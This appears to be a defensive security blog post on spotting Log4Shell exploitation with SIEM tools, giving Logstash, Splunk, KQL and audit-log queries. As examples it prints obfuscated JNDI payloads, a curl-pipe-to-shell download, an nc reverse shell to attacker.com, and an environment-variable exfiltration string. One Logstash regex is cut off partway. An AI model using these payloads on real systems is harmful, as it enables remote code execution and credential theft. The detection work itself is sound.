During recent incident response engagements in Mumbai, I observed that over 40% of Log4Shell attempts bypassed perimeter Web Application Firewalls (WAFs) through simple nested obfuscation. While WAFs act as a necessary filter, the ground truth resides within application logs. Relying solely on edge security creates a blind spot that attackers exploit using recursive lookups like ${${lower:j}ndi:ldap...}.
Understanding the Log4j Vulnerability (CVE-2021-44228)
The core of the Log4j vulnerability lies in the Java Naming and Directory Interface (JNDI) lookup mechanism. When Log4j encounters a string like ${jndi:protocol://server/path}, it attempts to resolve this variable by fetching data from the specified remote resource. In the case of CVE-2021-44228, an attacker can point this to a malicious LDAP or RMI server, which serves a serialized Java class file.
The vulnerable application then downloads and executes this class file, leading to unauthenticated Remote Code Execution (RCE), a critical risk highlighted in the OWASP Top 10. We tested this in a controlled lab environment and found that even if the application is not directly exposed to the internet, internal lateral movement is trivial if logs are processed by a centralized, vulnerable logging service.
The Progression of Log4j Vulnerabilities
- CVE-2021-44228: The original RCE vulnerability in Log4j2 versions 2.0-beta9 to 2.14.1.
- CVE-2021-45046: An incomplete fix for the original issue where certain non-default configurations remained vulnerable to RCE.
- CVE-2021-45105: A Denial of Service (DoS) vulnerability triggered by infinite recursion in lookup evaluation in version 2.16.0.
The Critical Role of SIEM in Detecting Zero-Day Exploits
A robust SIEM (Security Information and Event Management) is the only layer capable of correlating disparate log streams to identify the "Log4j signature" across the entire stack. During our analysis of a compromised Tomcat server, we found the initial entry point was a User-Agent header containing the JNDI string. Without a SIEM to aggregate these logs, the forensic trail would have been buried in gigabytes of daily traffic.
In the Indian context, CERT-In Advisory CIAD-2021-0054 specifically emphasized the need for continuous monitoring. For organizations governed by the DPDP Act 2023, the 72-hour breach reporting window makes automated SIEM detection a legal necessity rather than just a security preference.
Analyzing Web Server and Application Logs
The first step in building a detection pipeline is identifying where the JNDI strings manifest. Attackers target any field that might be logged by the application. This includes:
- HTTP Headers: User-Agent, Referer, X-Forwarded-For, Authentication headers.
- Form Parameters: Login fields, search queries, and contact forms.
- URL Paths: Even 404 errors are often logged with the full requested path.
Apache and Nginx Log Patterns
Standard Apache Common Log Format (CLF) might not capture all headers by default. I recommend modifying the log configuration to capture the User-Agent and X-Forwarded-For headers specifically. To hunt for historical attempts, use this grep command across your log directories:
$ sudo grep -rE '(\$\{jndi:|%24%7Bjndi:)' /var/log/apache2/ /var/log/nginx/ /var/log/syslog
Leveraging WAF and Firewall Logs for Inbound JNDI Strings
While WAFs are bypassable, they provide high-fidelity alerts for "noisy" scanners. We monitor WAF logs for jndi:ldap, jndi:rmi, and jndi:dns. The presence of jndi:dns is a common indicator of a reconnaissance phase where the attacker is testing if the server has outbound internet access. This visibility is a core component of hardening Linux infrastructure against persistent threats.
In many Indian enterprise networks, we see a heavy reliance on legacy ERP systems. These systems often sit behind older firewalls that do not inspect the application layer (Layer 7). In these cases, the SIEM must ingest raw flow logs to identify outbound connections to unusual ports (e.g., 1389 for LDAP or 1099 for RMI) originating from the application tier.
Searching for JNDI Lookup Patterns
Detecting the string ${jndi: is the bare minimum. Attackers use nested expressions to evade simple string matching. I have observed variants like:
${${lower:j}ndi:ldap...}${jndi:${lower:l}${lower:d}ap...}${jndi:ldap://127.0.0.1:1389/a}(using IP addresses instead of hostnames)
Detecting Obfuscation Techniques
To counter this, your SIEM queries must account for case insensitivity and URL encoding. In an ELK stack, we use Grok patterns that focus on the structure of the JNDI call rather than the exact characters. The following command demonstrates a quick scan of the local filesystem for vulnerable JAR files, which should be correlated with log activity:
$ find / -name "log4j-core-*.jar" 2>/dev/null
Implementing ELK Stack Filters for Vulnerability Scanning
In the Logstash layer of the ELK stack, we can drop or tag logs that match malicious patterns. This prevents the Elasticsearch cluster from being overwhelmed by scanner noise while ensuring critical alerts are prioritized.
filter { if [message] =~ /\$\{jndi:/ or [message] =~ /\%24\%7Bjndi:/ { grok { match => { "message" => "(?i)%{GREEDYDATA:prefix}\$\{jndi:(?(ldap|rmi|dns|nis|iiop|corba|nds))://(?[^/\s}]+)(?
This Logstash configuration extracts the protocol and the remote destination. If an attacker uses jndi:dns://attacker.com, the threat_actor_source field will be populated with attacker.com, which can then be cross-referenced against threat intelligence feeds.
Writing Splunk Search Queries for Log4j Exploitation
For organizations using Splunk, the Search Processing Language (SPL) allows for complex regex matching across indexed data. We use the following query to identify potential exploitation attempts in web logs:
index=web_logs OR index=proxy_logs | rex field=_raw "(?i)(?\$\{[jndi|lower|upper|sys|env|main].*\})" | where isnotnull(jndi_string) | stats count by _time, src_ip, jndi_string, dest_host | sort - count
Creating Microsoft Sentinel KQL Rules
In Microsoft Sentinel, Kusto Query Language (KQL) provides a highly efficient way to scan AzureActivity and CommonSecurityLog tables. We have deployed the following rule for several clients to monitor their Azure-hosted Tomcat instances:
CommonSecurityLog | where DeviceEventClassID == "WAF_Log" | where RequestUri has "${jndi:" or RequestUri has "%24%7Bjndi:" | extend AttackerIP = SourceIP | project TimeGenerated, AttackerIP, RequestUri, DeviceAction
Detecting Remote Code Execution (RCE) via Log Analysis
Detection doesn't end with the JNDI string. If the exploit is successful, the Java process (e.g., java.exe on Windows or java on Linux) will spawn a child process. This is a massive red flag. Under normal operations, a Java application server like JBoss or Tomcat should rarely spawn /bin/sh or cmd.exe. To investigate these incidents securely, DevOps teams should utilize a browser based SSH client that provides full session recording and audit trails.
Monitoring for Reverse Shells and Lateral Movement
We monitor EDR logs for process lineage anomalies. A successful Log4Shell exploit often results in the following process tree:
java(Application Server)/bin/shcurl http://attacker.com/malware.sh | shnc -e /bin/sh attacker.com 4444
To hunt for this in Linux audit logs via SIEM, search for:
type=SYSCALL msg=audit(...): arch=c000003e syscall=59 success=yes exit=0 comm="sh" exe="/bin/dash" pcomm="java"
Identifying Data Exfiltration Attempts
Once RCE is achieved, attackers often attempt to exfiltrate environment variables, such as AWS_ACCESS_KEY_ID or DB_PASSWORD. This is done by nesting lookups: ${jndi:ldap://attacker.com/exfiltrate?data=${env:AWS_SECRET_ACCESS_KEY}}. Monitoring these patterns is essential for centralizing AWS CloudTrail logs to detect unauthorized credential access.
By analyzing the path extracted in our Logstash Grok filter, we can identify these exfiltration attempts. If the path contains strings like env:, sys:, or prop:, we trigger an immediate incident response playbook.
Automating Incident Response with SOAR Playbooks
Manual intervention is too slow for Log4Shell. We implement SOAR (Security Orchestration, Automation, and Response) playbooks that perform the following actions upon a high-confidence SIEM alert:
- IP Blocking: Automatically add the
src_ipto the edge firewall blocklist for 24 hours. - Host Isolation: If EDR confirms a suspicious child process from Java, the affected VM is isolated from the network.
- Credential Rotation: If environment variable exfiltration is suspected, the playbook triggers an automated password reset for service accounts.
Maintaining Long-Term Log Retention for Forensic Audits
In India, financial institutions regulated by the RBI are often required to maintain logs for several years. For Log4Shell, long-term retention is critical because an attacker might have gained a foothold months ago and remained dormant. We recommend moving older Elasticsearch indices to "Cold" or "Frozen" tiers to save on storage costs while keeping the data searchable for forensic audits.
Updating Threat Intelligence Feeds
The infrastructure used for Log4j attacks is constantly shifting. We integrate STIX/TAXII feeds directly into the SIEM to tag logs from known malicious IPs. This is particularly useful for identifying "low and slow" scanning activity that doesn't trigger threshold-based alerts.
Example: Adding a known malicious IP to an IPSET on a Linux Gateway
$ ipset add blacklist 185.220.101.10
The Future of Log Analysis in Vulnerability Management
Log4Shell was a wake-up call for the industry. It proved that vulnerability management is not just about patching; it is about visibility. As more applications move to microservices architectures, the volume of logs will only increase. Future detection pipelines will need to rely more on machine learning to identify anomalous JNDI-like patterns that do not fit traditional regex signatures.
In the Indian market, where many organizations are still maturing their SOC (Security Operations Center) capabilities, the focus must remain on perfecting the basics: comprehensive log ingestion, accurate Grok parsing, and rapid correlation with network egress patterns.
Next Command: Testing Your Pipeline
To verify if your SIEM pipeline is actually working, use the following Nmap command from a testing machine (ensure you have authorization):
$ nmap -sV --script http-log4shell --script-args http-log4shell.callback-server=interact.sh
Check your SIEM dashboard immediately after running this. If you don't see an alert tagged with attack_log4shell, your Grok patterns or log ingestion path need troubleshooting.